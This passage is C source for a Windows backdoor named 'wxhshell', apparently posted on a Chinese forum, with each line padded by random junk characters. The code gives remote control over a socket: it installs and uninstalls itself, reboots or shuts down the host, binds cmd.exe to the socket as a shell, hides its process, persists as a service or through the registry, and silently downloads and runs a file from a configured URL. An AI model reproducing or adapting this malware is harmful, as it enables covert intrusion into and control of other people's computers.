      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H3FW52pjX  
    break; Z[#IfbYt  
  } Ueyw;Y  
  // 安装 83;IyvbL  
  case 'i': { )qM|3],  
    if(Install()) [, f)9v)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |"k&fkS$  
    else 9BON.` |_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 90:K#nW;  
    break; tm)*2lH6  
    } ~t/JCxa  
  // 卸载 Hhv$4;&X  
  case 'r': { q^Tis>*u6  
    if(Uninstall()) 4,1oU|fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1M5 -pZ[D  
    else Ek .3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qc8Ta"  
    break; 7[o {9Yp&  
    } "n?<2 wso  
  // 显示 wxhshell 所在路径 6 DP[g8  
  case 'p': { >9(i)e  
    char svExeFile[MAX_PATH]; 2_pz3<,\  
    strcpy(svExeFile,"\n\r"); :$H!@n*/R  
      strcat(svExeFile,ExeFile); k$[{n'\@  
        send(wsh,svExeFile,strlen(svExeFile),0); 'F_}xMU  
    break; }=@zj6AC  
    } T0 |H9>M  
  // 重启 ,seFkG@1  
  case 'b': { C ?7X"~ ~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I6dm@{/:>  
    if(Boot(REBOOT)) d79N-O-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s44iEh=V(I  
    else { ,b' 4CF  
    closesocket(wsh); aWvd`qA9r  
    ExitThread(0); moO _-@i  
    } TlPVHJyt  
    break; n(&*kfk  
    } * BOBH;s  
  // 关机 1L[S*X  
  case 'd': { MW@DXbKVl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XVUf,N,  
    if(Boot(SHUTDOWN)) $L{7%]7QC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ }#f()  
    else { :R+],m il  
    closesocket(wsh); \C/z%Hf7-  
    ExitThread(0); g _ M-F  
    } 6E+=Xi  
    break; &BgU:R,  
    } ,P@QxnQ   
  // 获取shell ?0J0Ij,  
  case 's': { JSjYC0e  
    CmdShell(wsh); q|{tQJfYg  
    closesocket(wsh); k>{-[X,/OV  
    ExitThread(0); Z=9dMND  
    break; .cR*P<3O  
  } 60PYCqWc  
  // 退出 BX$hAQ(6Q  
  case 'x': { V\zsDP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `^%GN8d}nm  
    CloseIt(wsh); "6V_/u5M;=  
    break; hEOJb @:R  
    } WEC-<fN|Y\  
  // 离开 |h,FUj<r  
  case 'q': { oQvFrSz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A?Sm-#n{  
    closesocket(wsh); faVS2TN4  
    WSACleanup(); s^PmnFR  
    exit(1); Y'_ D<Mp  
    break; d| \#?W&  
        } OK\]*r  
  } \X opU"  
  } #$uZDQY_  
n4*'B*  
  // 提示信息 -A@U0=o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [+DNM 2A  
} 7ukDS]  
  } tJ>d4A;8x  
'#f?#(  
  return; ~~dfpW_"  
} IMR$x(g= F  
nO [QcOf  
// shell模块句柄 6QptKXu7  
int CmdShell(SOCKET sock) EG1x  
{ s}!"a8hU`  
STARTUPINFO si; *2:Yf7rvI+  
ZeroMemory(&si,sizeof(si)); *]9XDc]{j1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4`0;^K.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +-k`x0v  
PROCESS_INFORMATION ProcessInfo; /O"0L/hc^  
char cmdline[]="cmd"; 2o}8W7y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }q x(z^  
  return 0; :+A; TV  
} 9jjL9f_3  
zf")|9j  
// 自身启动模式 nP)-Y#`~7  
int StartFromService(void) m2MPWy5s  
{ <^'{ G  
typedef struct V9]uFL  
{ {q2<KRU2+#  
  DWORD ExitStatus; Px#4pmz  
  DWORD PebBaseAddress; Sh47c4{  
  DWORD AffinityMask; %>]#vQ|  
  DWORD BasePriority; @f'AWeJ2  
  ULONG UniqueProcessId; %J3lK]bv(  
  ULONG InheritedFromUniqueProcessId; A3!2"}L  
}   PROCESS_BASIC_INFORMATION; %,E7vYjT%  
D2-O7e  
PROCNTQSIP NtQueryInformationProcess; >hesxC!  
Xa6qvg7/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t9n'!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <sF!]R&4  
lZ+/\s,]|  
  HANDLE             hProcess; _4S7wOq5  
  PROCESS_BASIC_INFORMATION pbi; B C&^]M  
ix+x3OCip  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 33S`aJ  
  if(NULL == hInst ) return 0; M%77u=m  
~M(pCSJ[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a\|X^%2g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B)(w%\M4^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "URVX1#(r  
yO%VzjJhg  
  if (!NtQueryInformationProcess) return 0; n/:Z{  
_c,&\ wl$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?##y`.+O  
  if(!hProcess) return 0; J]_)gb'1BR  
 K oL%}u&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0c{Gr 0[>  
p@`4 Qz  
  CloseHandle(hProcess); %hrsE5k^,  
RH1U_gp4 ]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KN|'|2/|  
if(hProcess==NULL) return 0; 9yp^zL  
EzwF`3RjK  
HMODULE hMod; aw;{<?*  
char procName[255]; ZW`HDrP`  
unsigned long cbNeeded; Oym]&SrbS  
>4Fd xa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !WDn7j'A  
7E@$}&E  
  CloseHandle(hProcess); W'8J<VBD  
;%lJD"yF  
if(strstr(procName,"services")) return 1; // 以服务启动 HX z iDnj  
}:tAKO=+  
  return 0; // 注册表启动 1Z=;Uy\  
} zbdOCfA;  
UeC 81*XZ  
// 主模块 uV#-8a5!  
int StartWxhshell(LPSTR lpCmdLine) </~1p~=hAt  
{ __Vg/C!W  
  SOCKET wsl; Cf.WO%?P  
BOOL val=TRUE; thR|h+B  
  int port=0; pPU2ar  
  struct sockaddr_in door; +lW+H12  
iOE9FW|e  
  if(wscfg.ws_autoins) Install(); .kz(V5  
..sJtA8  
port=atoi(lpCmdLine); K>`m_M"LA  
!;6W!%t.|  
if(port<=0) port=wscfg.ws_port; DWHOS XA4  
S;G"L$&\  
  WSADATA data; 75' Ua$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *(>F'>F1"  
8yNRx iW:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B>c[Zg1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ](idf(j  
  door.sin_family = AF_INET; 99=[>Ck)G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GA}hp%  
  door.sin_port = htons(port); kjQIagw  
})Ix .!p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C8O7i[uc  
closesocket(wsl); "@F*$JGT y  
return 1; OD>u$tI9  
} KI^q 5D ?  
@*AYm-k  
  if(listen(wsl,2) == INVALID_SOCKET) { B`t)rBy  
closesocket(wsl); 0EF,uRb  
return 1; S8rW'}XJ=H  
} 89?3,k  
  Wxhshell(wsl); `XFX`1  
  WSACleanup(); ~{kA) :  
Uj y6vgU;  
return 0; F=P+;%.  
Mr@<ZTw  
} hJs&rpN  
UeIqAG8  
// 以NT服务方式启动 mCZF5r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D"1vw<Ak  
{ j X^&4f  
DWORD   status = 0; !c3Qcva  
  DWORD   specificError = 0xfffffff; vgd}09y  
loAfFK>g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mRix0XBI~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z)b)v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?et0W|^k  
  serviceStatus.dwWin32ExitCode     = 0; Vf#oKPP1  
  serviceStatus.dwServiceSpecificExitCode = 0; F5om-tzy  
  serviceStatus.dwCheckPoint       = 0; Y:#kel<  
  serviceStatus.dwWaitHint       = 0; 4OB~h]Vc  
;RTrRh0v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z:r$;`K/  
  if (hServiceStatusHandle==0) return; oqQ?2k<@  
3<Pyr-z h  
status = GetLastError(); bRY4yT  
  if (status!=NO_ERROR) ^+Y-=2u:  
{ EusfgU:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ),W (TL  
    serviceStatus.dwCheckPoint       = 0; .jrR4@  
    serviceStatus.dwWaitHint       = 0; 9, sCJ5bb"  
    serviceStatus.dwWin32ExitCode     = status; V8|q"UX  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3z{5c   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T5X'D(\|  
    return; hc31+TL  
  } P*nT\B  
s|rZ>SLL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z1qATX Xf  
  serviceStatus.dwCheckPoint       = 0; 0YTtA]|`4  
  serviceStatus.dwWaitHint       = 0; -sGWSC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {R6Zwjs  
} HnYFE@Nl:U  
\M1M2(@pDJ  
// 处理NT服务事件,比如:启动、停止 MSrY*)n!>O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G Yy!`E  
{ bl+@}+A  
switch(fdwControl) GXAk*vS=G  
{ 1zEZ\G  
case SERVICE_CONTROL_STOP: cxF?&0[mY  
  serviceStatus.dwWin32ExitCode = 0; UVQa af  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %RK\Hz2q3  
  serviceStatus.dwCheckPoint   = 0; t,r&SrC  
  serviceStatus.dwWaitHint     = 0; 8=zM~v)   
  { p.W*j^';Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^7^bA  
  } 3Wtv+L7Br  
  return; &>wce 5uV  
case SERVICE_CONTROL_PAUSE: dp%pbn6w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G \aLg  
  break; y:|Xg0Kp  
case SERVICE_CONTROL_CONTINUE: \w@_(4")Qb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rs( CrB/M  
  break; H--*[3".  
case SERVICE_CONTROL_INTERROGATE: q4#f *]  
  break; Y|qixpP  
}; 9OO_Hp#|9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BD-c 0-+m  
} Lb3K};SIV  
2 vJ[vsrFv  
// 标准应用程序主函数 0qV*d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fG[3%e  
{ DJ2]NA$Q*  
*Yk8Mj^_h  
// 获取操作系统版本 e 7)%=F/)  
OsIsNt=GetOsVer(); (8eNZ*+mO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =='{[[J  
 lN`_0  
  // 从命令行安装 i2%m}S;D9  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,B/p1^;.  
4>wIF}\  
  // 下载执行文件 lVp~oZC6[  
if(wscfg.ws_downexe) { h9OL%n 7m'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0)]C&;}_M  
  WinExec(wscfg.ws_filenam,SW_HIDE); E( 4lu%  
} ^*UfCoj9Z  
 W$VCST  
if(!OsIsNt) { GO GXM4I  
// 如果时win9x,隐藏进程并且设置为注册表启动 G]NtX4'4  
HideProc(); %F]9^C+  
StartWxhshell(lpCmdLine); n4_:#L?  
} 'rq#q)1MT  
else E{]|jPdr  
  if(StartFromService()) 'Tan6 Qa  
  // 以服务方式启动 mEc;-b f  
  StartServiceCtrlDispatcher(DispatchTable); g KmRjK  
else `J7Lecgo  
  // 普通方式启动 f[I'j0H%  
  StartWxhshell(lpCmdLine); ^@5ui;JV  
[+cnx21{  
return 0; a]=vq(N'r  
}
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只看该作者 1 发表于: 2006-10-10
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